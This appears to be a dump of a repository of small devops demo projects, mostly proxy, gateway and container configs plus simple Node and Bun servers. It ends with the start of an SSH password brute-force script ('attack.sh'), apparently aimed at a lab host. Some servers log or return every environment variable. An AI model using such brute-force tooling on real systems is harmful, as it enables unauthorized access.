7 | # Only exists if Bazel was run
8 | /bazel-out
9 |
10 | # dependencies
11 | /node_modules
12 |
13 | # profiling files
14 | chrome-profiler-events*.json
15 |
16 | # IDEs and editors
17 | /.idea
18 | .project
19 | .classpath
20 | .c9/
21 | *.launch
22 | .settings/
23 | *.sublime-workspace
24 |
25 | # IDE - VSCode
26 | .vscode/*
27 | !.vscode/settings.json
28 | !.vscode/tasks.json
29 | !.vscode/launch.json
30 | !.vscode/extensions.json
31 | .history/*
32 |
33 | # misc
34 | /.angular/cache
35 | /.sass-cache
36 | /connect.lock
37 | /coverage
38 | /libpeerconnection.log
39 | npm-debug.log
40 | yarn-error.log
41 | testem.log
42 | /typings
43 |
44 | # System Files
45 | .DS_Store
46 | Thumbs.db
47 |
--------------------------------------------------------------------------------
/echo_server/node/index.js:
--------------------------------------------------------------------------------
1 | require("dotenv").config()
2 | const util = require('util')
3 | const os = require('os')
4 | const express = require('express')
5 | const app = express()
6 | const port = 80
7 | const bodyParser = require('body-parser')
8 |
9 | console.log("Detected Env Vars:")
10 | console.log(process.env)
11 | console.log("_________________")
12 |
13 | app.use(bodyParser.json())
14 |
15 | app.all('*', (req, res) => {
16 | const { ip, url, headers, body, query } = req
17 | console.log(util.inspect({ ip, hostname: os.hostname(), url, method: req.method, headers, body, query }, { depth: null, colors: true }))
18 | // custom logic here
19 | res.status(200).send({ ip, hostname: os.hostname(), url, method: req.method, headers, body, query })
20 | })
21 |
22 | app.listen(port, () => {
23 | console.log(`Example app listening on port ${port}`)
24 | })
25 |
--------------------------------------------------------------------------------
/bun/next/app/app/layout.tsx:
--------------------------------------------------------------------------------
1 | import type { Metadata } from "next";
2 | import localFont from "next/font/local";
3 | import "./globals.css";
4 |
5 | const geistSans = localFont({
6 | src: "./fonts/GeistVF.woff",
7 | variable: "--font-geist-sans",
8 | weight: "100 900",
9 | });
10 | const geistMono = localFont({
11 | src: "./fonts/GeistMonoVF.woff",
12 | variable: "--font-geist-mono",
13 | weight: "100 900",
14 | });
15 |
16 | export const metadata: Metadata = {
17 | title: "Create Next App",
18 | description: "Generated by create next app",
19 | };
20 |
21 | export default function RootLayout({
22 | children,
23 | }: Readonly<{
24 | children: React.ReactNode;
25 | }>) {
26 | return (
27 |
28 |
29 | {children}
30 |
31 |
32 | );
33 | }
34 |
--------------------------------------------------------------------------------
/dockerize/django/app/example/urls.py:
--------------------------------------------------------------------------------
1 | """example URL Configuration
2 |
3 | The `urlpatterns` list routes URLs to views. For more information please see:
4 | https://docs.djangoproject.com/en/1.11/topics/http/urls/
5 | Examples:
6 | Function views
7 | 1. Add an import: from my_app import views
8 | 2. Add a URL to urlpatterns: url(r'^$', views.home, name='home')
9 | Class-based views
10 | 1. Add an import: from other_app.views import Home
11 | 2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home')
12 | Including another URLconf
13 | 1. Import the include() function: from django.conf.urls import url, include
14 | 2. Add a URL to urlpatterns: url(r'^blog/', include('blog.urls'))
15 | """
16 | from django.conf.urls import url
17 | from django.contrib import admin
18 |
19 | urlpatterns = [
20 | url(r'^admin/', admin.site.urls),
21 | ]
22 |
--------------------------------------------------------------------------------
/nodejs/node-shell-exec/exec.js:
--------------------------------------------------------------------------------
1 | // Node.js executes its main event loop in a single thread.
2 | // However, that does not mean that all of its processing is done in that one thread.
3 | // Asynchronous tasks in Node.js are executed in other internal threads.
4 | // When they are complete, the code in the callback, or error, is returned to the main, single thread.
5 |
6 | // The exec() function creates a new shell and executes a given command.
7 | // The output from the execution is buffered, which means kept in memory, and is available for use in a callback.
8 |
9 | const { exec } = require("child_process")
10 |
11 | exec("ls -la", (error, stdout, stderr) => {
12 | if (error) {
13 | console.log(`error: ${error.message}`)
14 | return
15 | }
16 | if (stderr) {
17 | console.log(`stderr: ${stderr}`)
18 | return
19 | }
20 | console.log(`stdout: ${stdout}`)
21 | })
--------------------------------------------------------------------------------
/dockerize/angular/angular/src/test.ts:
--------------------------------------------------------------------------------
1 | // This file is required by karma.conf.js and loads recursively all the .spec and framework files
2 |
3 | import 'zone.js/testing';
4 | import { getTestBed } from '@angular/core/testing';
5 | import {
6 | BrowserDynamicTestingModule,
7 | platformBrowserDynamicTesting
8 | } from '@angular/platform-browser-dynamic/testing';
9 |
10 | declare const require: {
11 | context(path: string, deep?: boolean, filter?: RegExp): {
12 | keys(): string[];
13 | (id: string): T;
14 | };
15 | };
16 |
17 | // First, initialize the Angular testing environment.
18 | getTestBed().initTestEnvironment(
19 | BrowserDynamicTestingModule,
20 | platformBrowserDynamicTesting(),
21 | );
22 |
23 | // Then we find all the tests.
24 | const context = require.context('./', true, /\.spec\.ts$/);
25 | // And load the modules.
26 | context.keys().map(context);
27 |
--------------------------------------------------------------------------------
/nginx/http-logs/nginx.conf:
--------------------------------------------------------------------------------
1 | # curl localhost:9999 -H 'Content-Type: application/json' -H 'hi: hey' -d '{"login":"my_login","password":"my_password"}'
2 |
3 |
4 | http {
5 |
6 | server {
7 | listen 9999;
8 |
9 | location / {
10 | # Mirror the request to the log listener app
11 | mirror /mirror;
12 | mirror_request_body on;
13 |
14 | # Send the request to the core app server
15 | proxy_pass http://192.168.43.252:6969;
16 | }
17 |
18 | location = /mirror {
19 | internal;
20 | set $log "${time_iso8601} - ${body_bytes_sent} - ${http_host} - ${remote_addr} - ${request_length} - ${request_method} - ${request_uri} - ${status} - ${http_user_agent} - ${request_time} - ${upstream_addr}";
21 | proxy_set_header 'log' $log;
22 | proxy_pass http://192.168.43.252:3000$request_uri;
23 | }
24 | }
25 | }
26 |
27 | events{}
28 |
--------------------------------------------------------------------------------
/caddy/forward_auth/CaddyFile:
--------------------------------------------------------------------------------
1 | {
2 | auto_https off
3 | }
4 |
5 | :80, :443 {
6 | # Handle requests to /api/*
7 | handle /api/* {
8 | # Forward authentication to the authentication server
9 | forward_auth 1.2.1.9:3000 {
10 | uri /
11 | # Pass original request headers to the auth server
12 | header_up X-Original-URI {http.request.uri}
13 | header_up X-Original-Method {http.request.method}
14 | header_up X-Original-Headers {http.request.header.*} # Pass all original headers
15 | # You can add more headers as needed
16 | }
17 |
18 | # If authentication succeeds, proxy to the backend service
19 | reverse_proxy backend:80
20 | }
21 |
22 | # Default response for all other requests
23 | handle {
24 | respond "Welcome to yourdomain.com" 200
25 | }
26 | }
27 |
--------------------------------------------------------------------------------
/nodejs/node-proxy-load-balancer/index.js:
--------------------------------------------------------------------------------
1 | const express = require('express')
2 | const app = express()
3 | const axios = require('axios')
4 |
5 | const servers = [
6 | "http://localhost:3000",
7 | "http://localhost:3001"
8 | ]
9 |
10 | let current = 0, server
11 | const handler = async (req, res) => {
12 | const { method, url, headers, body: data } = req
13 | server = servers[current]
14 | current === (servers.length - 1) ? current = 0 : current++
15 | try {
16 | const response = await axios({
17 | url: `${server}${url}`,
18 | method,
19 | headers,
20 | data
21 | })
22 | console.log(`proxy to ${server} succeded`)
23 | res.send(response.data)
24 | }
25 | catch (err) {
26 | console.log(`proxy to ${server} failed`)
27 | handler(req, res)
28 | }
29 | }
30 |
31 | app.use((req, res) => { handler(req, res) })
32 |
33 | app.listen(3030)
--------------------------------------------------------------------------------
/random-proj/text-difference-detecter/styles.css:
--------------------------------------------------------------------------------
1 | * {
2 | box-sizing: border-box;
3 | }
4 |
5 | html,
6 | body {
7 | height: 100%;
8 | }
9 |
10 | body {
11 | margin: 0;
12 | display: inline-block;
13 | background: #cbcbcb;
14 | }
15 |
16 | pre {
17 | font-size: large;
18 | white-space: pre-wrap;
19 | }
20 |
21 | .text-success {
22 | color: chartreuse;
23 | }
24 |
25 | .text-danger {
26 | color: crimson;
27 | }
28 |
29 | .p-8 {
30 | padding: 8px;
31 | }
32 |
33 | .w-100 {
34 | width: 100%;
35 | }
36 |
37 | .d-flex {
38 | display: flex;
39 | flex-wrap: wrap;
40 | }
41 |
42 | .flex-column {
43 | flex-direction: column;
44 | }
45 |
46 | .col-6 {
47 | width: 50%;
48 | }
49 |
50 | @media screen and (max-width: 768px) {
51 | .col-xs-12 {
52 | width: 100%;
53 | }
54 | }
--------------------------------------------------------------------------------
/caddy/load_balancing/CaddyFile:
--------------------------------------------------------------------------------
1 | {
2 | auto_https off
3 | }
4 |
5 | :80, :443 {
6 | handle {
7 | # Load balancing for /api
8 | reverse_proxy /api* {
9 | to backend:80
10 | to backend2:80
11 |
12 | # Health check configuration
13 | health_interval 10s # Check every 10 seconds
14 | health_timeout 5s # Timeout for health check
15 | health_uri /health # Health check endpoint (modify as needed)
16 | health_headers {
17 | # Optional: Add headers if required for the health check
18 | User-Agent "Caddy"
19 | }
20 |
21 | lb_policy round_robin
22 | }
23 | }
24 |
25 | # Default response for all other requests
26 | handle {
27 | respond "Welcome to yourdomain.com" 200
28 | }
29 | }
30 |
31 |
--------------------------------------------------------------------------------
/imageproxy/docker-compose.yml:
--------------------------------------------------------------------------------
1 | services:
2 | nginx:
3 | image: nginx:1.25.0
4 | volumes:
5 | - ./nginx.conf:/etc/nginx/nginx.conf
6 | - ./files:/var/www/files
7 | ports:
8 | - 80:80
9 |
10 | imageproxy:
11 | image: willnorris/imageproxy
12 | restart: always
13 | ports:
14 | - 8080:8080
15 | environment:
16 | - AWS_ACCESS_KEY_ID=username
17 | - AWS_SECRET_KEY=password
18 | command: -addr 0.0.0.0:8080 -cache 's3://fake-region/test?endpoint=minio:9000&disableSSL=1&s3ForcePathStyle=1'
19 |
20 | minio:
21 | image: minio/minio:RELEASE.2024-12-18T13-15-44Z
22 | ports:
23 | - 9000:9000
24 | - 9001:9001
25 | volumes:
26 | - ./data:/data
27 | command: server --console-address ":9001" /data
28 | restart: always
29 | environment:
30 | - MINIO_ROOT_USER=username
31 | - MINIO_ROOT_PASSWORD=password
32 |
--------------------------------------------------------------------------------
/dockerize/django/app/manage.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | import os
3 | import sys
4 |
5 | if __name__ == "__main__":
6 | os.environ.setdefault("DJANGO_SETTINGS_MODULE", "example.settings")
7 | try:
8 | from django.core.management import execute_from_command_line
9 | except ImportError:
10 | # The above import may fail for some other reason. Ensure that the
11 | # issue is really that Django is missing to avoid masking other
12 | # exceptions on Python 2.
13 | try:
14 | import django
15 | except ImportError:
16 | raise ImportError(
17 | "Couldn't import Django. Are you sure it's installed and "
18 | "available on your PYTHONPATH environment variable? Did you "
19 | "forget to activate a virtual environment?"
20 | )
21 | raise
22 | execute_from_command_line(sys.argv)
23 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Some random projects I wish to share as I find interesting
2 |
3 |
4 | ## you can find all the relevant videos in the [youtube channel](https://www.youtube.com/channel/UC33nD8gkUUAJr36E9di1bDA)
5 |
6 | feel free to ask me questions and I will be glad to help.
7 |
8 | WEBSITE
9 |
10 | *any pull requests for any kind of improvements are openly appreciated*
11 |
12 | ## Star History
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
--------------------------------------------------------------------------------
/nginx/php-wyveo/html/index.php:
--------------------------------------------------------------------------------
1 | query($sql);
20 | if ($result->num_rows > 0) {
21 | $row = $result->fetch_assoc();
22 | $sql = "UPDATE tbl SET name='new name' WHERE id='1'";
23 | if($conn->query($sql) === TRUE)
24 | return apiResponse(200, $row, true);
25 | else
26 | return apiResponse(500, ['msg' => $conn->error]);
27 |
28 | } else
29 | return apiResponse(404, ['msg' => 'no rows found']);
30 |
31 | $conn->close();
32 |
--------------------------------------------------------------------------------
/caddy/custom_ssl/certs/pc.csr:
--------------------------------------------------------------------------------
1 | -----BEGIN CERTIFICATE REQUEST-----
2 | MIICUjCCAToCAQAwDTELMAkGA1UEAwwCcGMwggEiMA0GCSqGSIb3DQEBAQUAA4IB
3 | DwAwggEKAoIBAQDjCTGgGg3ljrKHe2zkCpgakhWPxXLkDZ7WsQNbPwxVO0ajFa8D
4 | R5nA7QCzy4X6f9EObqup1U8+POqMOrCoIE88fTXHNkwIJ+HDJ+rLJmC44nWxN3+R
5 | JFkJ6HZueWj5is3Wp8NkE+DLWAaDxwILikDJuX9B1R+vUy5zjV9cSMXBVIY4IpGb
6 | 6ZLXaGSd21D7whRN1nh1xUcoURUjG77yyNWEAYBVbqw5rEGLFQUq4YhgcawtHqQO
7 | hfPzD2Kni7V2MW/XeQodnwm9c/kmVGI83J7LpRcjenI+OI7XexZhIomuOMTKG7/B
8 | ZtsvqLAM/3a7nYgcPwtsV27INsQLbw8duWzJAgMBAAGgADANBgkqhkiG9w0BAQsF
9 | AAOCAQEAoozpW/f/jKXSB/UZDym8B1jqC+aB+/H20Lu/nusD1vUn1usSiVhPz/Vu
10 | qko1HQ5EG9bwPb1socBMpOQmJzjddDeL0JQg4E+WThJ9p6JbZI6SV5gwhAux73Qt
11 | 0EHci5AWREjBaS3w7rd7WLymkQp/sm+N7b8Ih7N1HsBCJP02VKa2wA6MhS+EjtJu
12 | Q0DqGM8BqjEntFoWvDCpO0BxBn5FAlIUzw8JU/ZuoPZPh8RJ39s0jzzSLhIjijsU
13 | nbu7RnuLvj6vraRlP4ywFWyFsEM+ziCwkX29M0zd4BzUYrsF9RZxEVG8Lky1Fkjv
14 | WeMq1TzaEnXH4yJYi+q/7gcdFEi5jA==
15 | -----END CERTIFICATE REQUEST-----
16 |
--------------------------------------------------------------------------------
/caddy/custom_ssl/certs/sinawic.csr:
--------------------------------------------------------------------------------
1 | -----BEGIN CERTIFICATE REQUEST-----
2 | MIICVzCCAT8CAQAwEjEQMA4GA1UEAwwHc2luYXdpYzCCASIwDQYJKoZIhvcNAQEB
3 | BQADggEPADCCAQoCggEBALYSErbIpfBU2Bnkla0a+D/T7c88VxgZbOIUTJVrIKDe
4 | YY0m222X7wliVzMAvzt4yov0zixZmthold4lEftlQdCjQeZdWmwTjWOYSM2Yn7Rc
5 | 1Fnce8gSz7ZOvbHtr3IrrwtV9/QyPp7t/RHzEPJpt1mN82GUc++Fn0uuh9CVTWm9
6 | Tb7HWs42C07U0gqatDSu0MZjEEnxprabhOgsXyzD1170TiwMvRkGBaLU1gRFiqhO
7 | w/8nVx8XaebJ+uDHbGdGY5lzdYhf1h7Dub9ahf+AP6TjRMqXGfOms2FNlUZyR5ly
8 | 6mPflxbJaC5pI8Oiti85qmk3cXCr+/q8hcf2Gk/MfeECAwEAAaAAMA0GCSqGSIb3
9 | DQEBCwUAA4IBAQAok1SjFTVWgFUbsgIJrrcYFfYTbhuGlu+bMvNmJjlUF1NzGq53
10 | pBdyipdG14jg+tbelfbHy8YGldTftw0jMgTX4gR9Wg9Go4VMP9JIRS5cWljBSAf6
11 | yjnKtyWdjVkQPtfw40tTQRDn8BjFpQqsbwTm6Q0bR1+sbs6+Wc9PqT2DyV+9amLz
12 | tvsIfVgksYat6PHp6MAAmuX1mnplJquymC1BoLrnIg+hYcJyYymVPIzZuU7lltpp
13 | o7nvktVH8WHYS3YBX+JPG7TvN+YJZF5Ilc34YqOjLUyFrnq6BjSSmhbm6RWQ14B2
14 | vghA4yRVdZIZjgCzMVW1g/vgsWgI+tsV0a2R
15 | -----END CERTIFICATE REQUEST-----
16 |
--------------------------------------------------------------------------------
/kong/self-signed-ssl/certs/localhost.csr:
--------------------------------------------------------------------------------
1 | -----BEGIN CERTIFICATE REQUEST-----
2 | MIICWTCCAUECAQAwFDESMBAGA1UEAwwJbG9jYWxob3N0MIIBIjANBgkqhkiG9w0B
3 | AQEFAAOCAQ8AMIIBCgKCAQEAtZfMsye+ZhZOOdt+fQqRYDsuoRkSsnh1IotBRTE7
4 | nOcgrDNRrcTYwW/A3KZrS9nVvHHVMnKDeGU9wiMka266xlOYCGpELX3CTNzZRPUE
5 | hrUsfO7R1MbQuCza2UGfZaCmdJZ9Gi9vcR7ciM5ilPcG+de1z/kNE8ezOI5oJL5m
6 | fHfHypDKfTOFx/rXBSYVEsEHcRxP/YyU3LscNLTyOo7ARBb48y0ho0o40qZs1Na2
7 | 7LxDDjPaPqu1duoqYNmvd0nSk2cn+33QBgcDEg7X+4xh2k9kfgQ+AKlQ7oC2+gtz
8 | U8y8cHCLwTk+O7ZSNB9SxWAgcf/YLhRb/J/ISJqHbdMRPQIDAQABoAAwDQYJKoZI
9 | hvcNAQELBQADggEBAJz8H1Z5pA3dH6ZDHayWnnnTxzeyYpn1lOI4BrtKgG0XF73l
10 | 1E4yrBTii0KF1sDP3j+rPKJGZGy25FlamYVCGe95ks4SIuQRBbh+66948GynnXEa
11 | 4RKITETP9EfbFTZo5C/32nCovS0NIMM0QGjzo+wbtelqkLH2zDi2+hhcr3oj4U05
12 | yB8InHUzT46CgQ5pnTe5XScS1cC5TE26P0uKaNdwWqa+K0pKi4RX5x7AiZfRHCYS
13 | QSnIw4VI8NjYMABvcpLv9om+PZkd1HPXrhy/A4+rSDYryVFwPI+G4+vkhkCvW+Ei
14 | 70PRs+EkXnsOGj/2Z2QF8N8d+JkUh+0HBzrmtbo=
15 | -----END CERTIFICATE REQUEST-----
16 |
--------------------------------------------------------------------------------
/remote-linux-access/sshwifty/certs/pc.com.csr:
--------------------------------------------------------------------------------
1 | -----BEGIN CERTIFICATE REQUEST-----
2 | MIICVjCCAT4CAQAwETEPMA0GA1UEAwwGcGMuY29tMIIBIjANBgkqhkiG9w0BAQEF
3 | AAOCAQ8AMIIBCgKCAQEAsDoFUNdyBmR/qiQxyn0fGV5KLN4jEY+JFoWX68xy6GHQ
4 | 26si15r8R4xjXOHndAxGwdn7EqxulmNiMV2UyX9qgQP1g2DZaFGO3huSGBMCEskL
5 | YhNnQqThrRLBJ4Y2qDiV9n49z95H3+s3p1E8gPZqdK3rWixWConh/KZnI3ZGlPgs
6 | Lzxet2mT5extapptHsJMe0MiDpmuZcLQfl0omhbBfIZ/xCV4Ku5Fo+NLhmwhP2XX
7 | ydZeKzDf8mx/mvI47LZUbE7XhjHR40ISGh3ONxIUDi2vRj0ipM+SpIarrPoYqVl2
8 | G2SMzaYWGVnBf7r3AjdR/sAQZG4VEN8E4meysNUUyQIDAQABoAAwDQYJKoZIhvcN
9 | AQELBQADggEBAJvmOrhTmCX6+GKW/A7fPcq7RUSx8XHRXvDuQ66RMlDhChRmUh5r
10 | lrcs6WLmwhmSxtHA3eaI5Z/KEgpJfiWZdrXDG1Msox14k+tpuzDfD6TTr2Fer2i+
11 | XXNtW4tDqsrhuerYGJ+AuWOfJ5ipkQUle4/DDfAbJjPvO9DaJQw1nY6zYdUEFQYp
12 | NSlu8MFWQI/1IaERrfk7BqjX3DkSMcZkRqRSRNuwXMfxxM/X1EcVHRQQQLrSlegR
13 | BIrgHE8h8L/uaQ6JDPA+gpXmMWV2YFoGaCyrgC9Ga6l3AHJYb+cURn3KltbJINuS
14 | TTuGKFb1rf2g/DRd0bWeX0+jIV6jk3pmEq0=
15 | -----END CERTIFICATE REQUEST-----
16 |
--------------------------------------------------------------------------------
/caddy/apikey_auth/CaddyFile:
--------------------------------------------------------------------------------
1 | {
2 | auto_https off
3 | }
4 |
5 | :80, :443 {
6 |
7 | handle /api/* {
8 | @apiAuth {
9 | header Authorization "Bearer key1"
10 | header Authorization "Bearer key2"
11 | }
12 |
13 | # Proxy authorized requests
14 | reverse_proxy @apiAuth http://backend:80 {
15 | header_up Host {http.reverse_proxy.upstream.hostport}
16 | }
17 |
18 | # Define a matcher for unauthorized access
19 | @unauthorized {
20 | not {
21 | header Authorization "Bearer key1"
22 | header Authorization "Bearer key2"
23 | }
24 | }
25 |
26 | # Respond to unauthorized access
27 | respond @unauthorized "Unauthorized" 401 {
28 | close
29 | }
30 | }
31 |
32 | # Default response for all other requests
33 | handle {
34 | respond "Welcome to yourdomain.com" 200
35 | }
36 | }
37 |
--------------------------------------------------------------------------------
/kong/response-transformer/config/kong.yml:
--------------------------------------------------------------------------------
1 | _format_version: "2.1"
2 |
3 | services:
4 | - name: echo-server
5 | url: http://backend
6 | # url: http://10.10.10.100:8000
7 | routes:
8 | - name: echo
9 | paths:
10 | - /echo
11 |
12 | # plugins section
13 | plugins:
14 | - name: response-transformer
15 | config:
16 | remove:
17 | headers:
18 | - x-toremove
19 | json:
20 | - host
21 | - http
22 | add:
23 | headers:
24 | - h1:v2
25 | - h2:v1
26 | json:
27 | - string:new_json
28 | - number:123
29 | - boolean:false
30 | json_types:
31 | - string
32 | - number
33 | - boolean
34 | append:
35 | headers:
36 | - x-existing-header:append_existing_header
37 | - x-another-header:append_another_header
38 | - h1:test
39 |
--------------------------------------------------------------------------------
/kong/response-transformer/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: '3.3'
2 |
3 | services:
4 | backend:
5 | image: ealen/echo-server:latest
6 | restart: always
7 | environment:
8 | - ENABLE__ENVIRONMENT=false
9 |
10 | kong:
11 | image: kong
12 | container_name: kong
13 | volumes:
14 | - "./config:/usr/local/kong/declarative"
15 | environment:
16 | - KONG_DATABASE=off
17 | - KONG_DECLARATIVE_CONFIG=/usr/local/kong/declarative/kong.yml
18 | - KONG_PROXY_ACCESS_LOG=/dev/stdout
19 | - KONG_ADMIN_ACCESS_LOG=/dev/stdout
20 | - KONG_PROXY_ERROR_LOG=/dev/stderr
21 | - KONG_ADMIN_ERROR_LOG=/dev/stderr
22 | - KONG_ADMIN_LISTEN=0.0.0.0:8001, 0.0.0.0:8444 ssl
23 | - KONG_LOG_LEVEL=debug
24 | - KONG_PLUGINS=bundled
25 | ports:
26 | - "8000:8000/tcp"
27 | - "127.0.0.1:7990:8001/tcp"
28 | - "8001:8001/tcp"
29 | - "8443:8443/tcp"
30 | - "127.0.0.1:8444:8444/tcp"
--------------------------------------------------------------------------------
/kong/request-transformer/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: '3.3'
2 |
3 | services:
4 | backend:
5 | image: ealen/echo-server:latest
6 | restart: always
7 | environment:
8 | - ENABLE__ENVIRONMENT=false
9 |
10 | kong:
11 | image: kong
12 | container_name: kong
13 | volumes:
14 | - "./config:/usr/local/kong/declarative"
15 | environment:
16 | - KONG_DATABASE=off
17 | - KONG_DECLARATIVE_CONFIG=/usr/local/kong/declarative/kong.yml
18 | - KONG_PROXY_ACCESS_LOG=/dev/stdout
19 | - KONG_ADMIN_ACCESS_LOG=/dev/stdout
20 | - KONG_PROXY_ERROR_LOG=/dev/stderr
21 | - KONG_ADMIN_ERROR_LOG=/dev/stderr
22 | - KONG_ADMIN_LISTEN=0.0.0.0:8001, 0.0.0.0:8444 ssl
23 | - KONG_LOG_LEVEL=debug
24 | - KONG_PLUGINS=bundled
25 | ports:
26 | - "8000:8000/tcp"
27 | - "127.0.0.1:7990:8001/tcp"
28 | - "8001:8001/tcp"
29 | - "8443:8443/tcp"
30 | - "127.0.0.1:8444:8444/tcp"
31 |
--------------------------------------------------------------------------------
/nodejs/node-shell-exec/spawn.js:
--------------------------------------------------------------------------------
1 | // The spawn() function executes a command in a new process.
2 | // This function uses a Stream API, so its output of the command is made available via listeners.
3 |
4 |
5 | const { spawn } = require("child_process")
6 |
7 | const ls = spawn("ls", ["-la"])
8 |
9 | ls.stdout.on("data", data => {
10 | console.log(`stdout: ${data}`)
11 | })
12 |
13 | ls.stderr.on("data", data => {
14 | console.log(`stderr: ${data}`)
15 | })
16 |
17 | ls.on('error', (error) => {
18 | console.log(`error: ${error.message}`)
19 | })
20 |
21 | ls.on("close", code => {
22 | console.log(`child process exited with code ${code}`)
23 | })
24 |
25 | // The key difference between exec() and spawn() is how they return the data.
26 | // As exec() stores all the output in a buffer, it is more memory intensive than spawn(),
27 | // which streams the output as it comes.
28 | // Generally, if you are not expecting large amounts of data to be returned, you can use exec() for simplicity.
--------------------------------------------------------------------------------
/postgres/pgbackweb/docker-compose.yml:
--------------------------------------------------------------------------------
1 | services:
2 | pgbackweb:
3 | image: eduardolat/pgbackweb:0.2.0
4 | ports:
5 | - "8085:8085" # Access the web interface at http://localhost:8085
6 | volumes:
7 | - ./backups:/backups # If you only use S3 destinations, you don't need this volume
8 | environment:
9 | PBW_ENCRYPTION_KEY: "my_secret_key"
10 | PBW_POSTGRES_CONN_STRING: "postgresql://postgres:password@postgres:5432/pgbackweb?sslmode=disable"
11 | depends_on:
12 | postgres:
13 | condition: service_healthy
14 |
15 | postgres:
16 | image: postgres:alpine
17 | environment:
18 | POSTGRES_USER: postgres
19 | POSTGRES_DB: pgbackweb
20 | POSTGRES_PASSWORD: password
21 | ports:
22 | - "5432:5432"
23 | volumes:
24 | - ./data:/var/lib/postgresql/data
25 | healthcheck:
26 | test: ["CMD-SHELL", "pg_isready -U postgres"]
27 | interval: 5s
28 | timeout: 5s
29 | retries: 5
30 |
31 |
--------------------------------------------------------------------------------
/caddy/cors/CaddyFile:
--------------------------------------------------------------------------------
1 | (cors) {
2 | @cors_preflight{args.0} method OPTIONS
3 | @cors{args.0} header Origin {args.0}
4 |
5 | handle @cors_preflight{args.0} {
6 | header {
7 | Access-Control-Allow-Origin "{args.0}"
8 | Access-Control-Allow-Methods "GET, POST, PUT, PATCH, DELETE, OPTIONS"
9 | Access-Control-Allow-Headers *
10 | Access-Control-Max-Age "3600"
11 | defer
12 | }
13 | respond "" 204
14 | }
15 |
16 | handle @cors{args.0} {
17 | header {
18 | Access-Control-Allow-Origin "{args.0}"
19 | Access-Control-Expose-Headers *
20 | defer
21 | }
22 | }
23 | }
24 |
25 | :80 {
26 |
27 | reverse_proxy backend:80
28 | import cors http://pc
29 | import cors http://sinawic
30 |
31 | }
32 |
--------------------------------------------------------------------------------
/redis/redis-pub-sub-stream/stream/sub.js:
--------------------------------------------------------------------------------
1 | import Redis from "ioredis";
2 |
3 | var redis = new Redis();
4 |
5 | async function main() {
6 |
7 | while (1) {
8 | // read events from the beginning of stream 'events'
9 | let res = await redis.sendCommand(
10 | new Redis.Command("XREAD", ["STREAMS", "queue", 0]));
11 |
12 | // parse the results (which are returned in quite a nested format)
13 | let events = res ? res[0][1] : [];
14 | events.length && console.log(`processing ${events.length} messages!`)
15 |
16 | for (var i = 0; i < events.length; i++) {
17 | let thisEvent = events[i]
18 | console.log("## id is ", thisEvent[0].toString());
19 | for (var eachKey in thisEvent[1]) {
20 | console.log(thisEvent[1][eachKey].toString());
21 |
22 | // remove the consumed message
23 | await redis.sendCommand(
24 | new Redis.Command("XDEL", ["queue", thisEvent[0].toString()]));
25 | }
26 | }
27 | }
28 | }
29 |
30 | main()
--------------------------------------------------------------------------------
/presentation/rate-limiter/nodejs/index.js:
--------------------------------------------------------------------------------
1 | const express = require("express");
2 | const { rateLimit } = require("express-rate-limit");
3 |
4 | const port = 3000;
5 |
6 | // initialize an Express server
7 | const app = express();
8 |
9 | // define the rate limiting middleware
10 | const limiter = rateLimit({
11 | windowMs: 1 * 60 * 1000, // 1 minutes
12 | limit: 5, // each IP can make up to 5 requests per `windowsMs` (1 minutes)
13 | standardHeaders: true, // add the `RateLimit-*` headers to the response
14 | legacyHeaders: false, // remove the `X-RateLimit-*` headers from the response
15 | });
16 |
17 | // apply the rate limiting middleware to all endpoints
18 | // app.use(limiter);
19 |
20 | app.get("/", (req, res) => {
21 | res.send("Not limited!");
22 | });
23 | app.get("/limited", limiter, (req, res) => {
24 | res.send("Limited!");
25 | });
26 |
27 | // start the server
28 | app.listen(port, () => {
29 | console.log(`Server listening at http://hostname:${port}`);
30 | });
31 |
--------------------------------------------------------------------------------
/dockerize/angular/angular/tsconfig.json:
--------------------------------------------------------------------------------
1 | /* To learn more about this file see: https://angular.io/config/tsconfig. */
2 | {
3 | "compileOnSave": false,
4 | "compilerOptions": {
5 | "baseUrl": "./",
6 | "outDir": "./dist/out-tsc",
7 | "forceConsistentCasingInFileNames": true,
8 | "strict": true,
9 | "noImplicitOverride": true,
10 | "noPropertyAccessFromIndexSignature": true,
11 | "noImplicitReturns": true,
12 | "noFallthroughCasesInSwitch": true,
13 | "sourceMap": true,
14 | "declaration": false,
15 | "downlevelIteration": true,
16 | "experimentalDecorators": true,
17 | "moduleResolution": "node",
18 | "importHelpers": true,
19 | "target": "es2017",
20 | "module": "es2020",
21 | "lib": [
22 | "es2020",
23 | "dom"
24 | ]
25 | },
26 | "angularCompilerOptions": {
27 | "enableI18nLegacyMessageIdFormat": false,
28 | "strictInjectionParameters": true,
29 | "strictInputAccessModifiers": true,
30 | "strictTemplates": true
31 | }
32 | }
33 |
--------------------------------------------------------------------------------
/bun/app/index.ts:
--------------------------------------------------------------------------------
1 | const objectToString = (obj: any) => {
2 | let result = '';
3 | for (let key in obj) {
4 | if (obj.hasOwnProperty(key)) {
5 | result += key + ': ' + obj[key] + '\n\t';
6 | }
7 | }
8 | // Remove the trailing comma and space
9 | result = result.slice(0, -2);
10 | return result;
11 | }
12 |
13 | const content = "Hello bun from docker"
14 |
15 | const server = Bun.serve({
16 | hostname: "0.0.0.0",
17 | fetch(req) {
18 | const url = new URL(req.url)
19 | if (url.pathname === "/") return new Response("Home page!")
20 | if (url.pathname === "/blog") return new Response("Blog!")
21 | if (url.pathname === "/envs") return new Response(`\tall env list:\n\t${objectToString(Bun.env)}`)
22 | if (url.pathname === "/html") return new Response(`${content} `, {
23 | headers: {
24 | "Content-Type": "text/html",
25 | },
26 | });
27 | return new Response("404!")
28 | },
29 | })
30 |
31 | console.log(`Listening on http://localhost:${server.port} ...`);
32 |
--------------------------------------------------------------------------------
/bun/next/app/public/globe.svg:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/ssh-bruteforce/script/attack.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | #
3 |
4 | sshpass > /dev/null 2>&1
5 | if [ $? != 0 ]; then
6 | echo '===> sshpass not installed! installing it now'
7 | sudo apt install sshpass -y
8 | fi
9 |
10 | export USERNAME=test
11 | export HOST=lab
12 |
13 | file_path="password_list.txt"
14 |
15 | # Check if the file exists
